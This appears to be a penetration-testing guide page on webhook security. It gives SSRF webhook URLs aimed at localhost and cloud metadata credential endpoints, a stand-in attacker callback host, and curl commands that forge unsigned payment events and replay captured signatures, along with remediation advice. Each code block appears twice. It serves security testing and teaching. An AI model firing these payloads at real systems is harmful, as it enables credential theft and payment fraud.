Exploitation A10| SSRF A01| Broken Access Control
Webhook Security Testing
Webhooks are HTTP callbacks that send real-time notifications between applications. They are commonly used for payment notifications, CI/CD triggers, and service integrations. Insecure webhook implementations can be exploited for SSRF, replay attacks, data manipulation, and unauthorized triggers.
Webhook SSRF
bash
# If the application lets you configure a webhook URL:
# Point it to internal services!
# Test with Burp Collaborator or interact.sh:
Webhook URL: https://ATTACKER_SERVER/callback
# Confirm the application makes outbound requests
# Then try SSRF:
Webhook URL: http://127.0.0.1:80/
Webhook URL: http://localhost:8080/admin
Webhook URL: http://169.254.169.254/latest/meta-data/ # AWS metadata
Webhook URL: http://[::1]:80/
Webhook URL: http://internal-api.local/
# Cloud metadata endpoints:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS
http://metadata.google.internal/computeMetadata/v1/ # GCP
http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Azure
# DNS rebinding to bypass allowlist:
# Register a domain that alternates between external IP and 127.0.0.1
Webhook URL: http://rebind.attacker.com/callback# If the application lets you configure a webhook URL:
# Point it to internal services!
# Test with Burp Collaborator or interact.sh:
Webhook URL: https://ATTACKER_SERVER/callback
# Confirm the application makes outbound requests
# Then try SSRF:
Webhook URL: http://127.0.0.1:80/
Webhook URL: http://localhost:8080/admin
Webhook URL: http://169.254.169.254/latest/meta-data/ # AWS metadata
Webhook URL: http://[::1]:80/
Webhook URL: http://internal-api.local/
# Cloud metadata endpoints:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS
http://metadata.google.internal/computeMetadata/v1/ # GCP
http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Azure
# DNS rebinding to bypass allowlist:
# Register a domain that alternates between external IP and 127.0.0.1
Webhook URL: http://rebind.attacker.com/callbackWebhook Authentication Bypass
bash
# If you know the webhook endpoint, try sending forged events:
# Payment webhook forgery (e.g., Stripe-like):
curl -X POST https://target.com/webhooks/payment \
-H 'Content-Type: application/json' \
-d '{"event": "payment.completed", "amount": 9999, "order_id": "ORD-123"}'
# Check if the application verifies signatures:
# Stripe uses Stripe-Signature header
# GitHub uses X-Hub-Signature-256 header
# If signature verification is missing, you can forge any event!
# Test without signature header:
curl -X POST https://target.com/webhooks/github \
-H 'Content-Type: application/json' \
-d '{"action": "completed", "deployment": {"environment": "production"}}'
# Test with incorrect signature:
curl -X POST https://target.com/webhooks/payment \
-H 'Stripe-Signature: t=123,v1=invalid_signature' \
-H 'Content-Type: application/json' \
-d '{"type": "checkout.session.completed"}'# If you know the webhook endpoint, try sending forged events:
# Payment webhook forgery (e.g., Stripe-like):
curl -X POST https://target.com/webhooks/payment \
-H 'Content-Type: application/json' \
-d '{"event": "payment.completed", "amount": 9999, "order_id": "ORD-123"}'
# Check if the application verifies signatures:
# Stripe uses Stripe-Signature header
# GitHub uses X-Hub-Signature-256 header
# If signature verification is missing, you can forge any event!
# Test without signature header:
curl -X POST https://target.com/webhooks/github \
-H 'Content-Type: application/json' \
-d '{"action": "completed", "deployment": {"environment": "production"}}'
# Test with incorrect signature:
curl -X POST https://target.com/webhooks/payment \
-H 'Stripe-Signature: t=123,v1=invalid_signature' \
-H 'Content-Type: application/json' \
-d '{"type": "checkout.session.completed"}'Replay Attacks
bash
# Capture a legitimate webhook payload and replay it:
# Step 1: Capture the webhook request (use request bin or Burp)
# Step 2: Replay it multiple times:
for i in $(seq 1 10); do
curl -X POST https://target.com/webhooks/payment \
-H 'Content-Type: application/json' \
-H 'Stripe-Signature: CAPTURED_VALID_SIGNATURE' \
-d '{"type": "checkout.session.completed", "data": {"amount": 100}}'
echo "Replay $i sent"
done
# If successful:
# - Payment processed 10 times
# - Inventory decremented 10 times
# - Notifications sent 10 times
# Defense should include:
# - Timestamp validation (reject events older than 5 minutes)
# - Idempotency keys (reject duplicate event IDs)
# - Monotonic counters (reject out-of-order events)# Capture a legitimate webhook payload and replay it:
# Step 1: Capture the webhook request (use request bin or Burp)
# Step 2: Replay it multiple times:
for i in $(seq 1 10); do
curl -X POST https://target.com/webhooks/payment \
-H 'Content-Type: application/json' \
-H 'Stripe-Signature: CAPTURED_VALID_SIGNATURE' \
-d '{"type": "checkout.session.completed", "data": {"amount": 100}}'
echo "Replay $i sent"
done
# If successful:
# - Payment processed 10 times
# - Inventory decremented 10 times
# - Notifications sent 10 times
# Defense should include:
# - Timestamp validation (reject events older than 5 minutes)
# - Idempotency keys (reject duplicate event IDs)
# - Monotonic counters (reject out-of-order events)Testing Checklist
- 1. Identify all webhook endpoints (config pages, API docs, JS source)
- 2. Test webhook URL for SSRF (internal IPs, cloud metadata)
- 3. Test if webhooks verify signatures or can be forged
- 4. Replay captured webhook payloads for duplicate processing
- 5. Test with modified payloads (change amounts, status, user IDs)
- 6. Check if webhook secrets are exposed in configuration
- 7. Test webhook URL scheme restrictions (file://, gopher://, dict://)
Evidence Collection
SSRF: Request showing webhook to internal endpoint, response with internal data
Forgery: Unsigned webhook request accepted by the application
Replay: Multiple successful processing of the same webhook event
CVSS Range: SSRF: 6.5–9.1 | Forgery: 7.5–8.6 | Replay: 5.3–7.5
Remediation
- Verify signatures: Always verify webhook signatures using HMAC-SHA256 with a shared secret.
- Validate timestamps: Reject webhook events older than 5 minutes to prevent replay.
- Idempotency: Track event IDs and reject duplicates.
- URL allowlist: Restrict webhook destination URLs to known-good domains/IPs.
- Block internal IPs: Deny webhook URLs pointing to RFC 1918, loopback, and metadata endpoints.
False Positive Identification
- Webhook to internal IP blocked: The server may accept the webhook URL but the actual HTTP request is blocked by network policy — verify the request actually reaches internal resources.
- Unsigned webhooks by design: Some webhook providers don't sign payloads — check if the application has alternative verification (IP allowlisting, mutual TLS).
- Replay window as feature: Some systems allow webhook re-delivery for reliability — verify there's no nonce/timestamp check rather than reporting re-delivery as a vulnerability.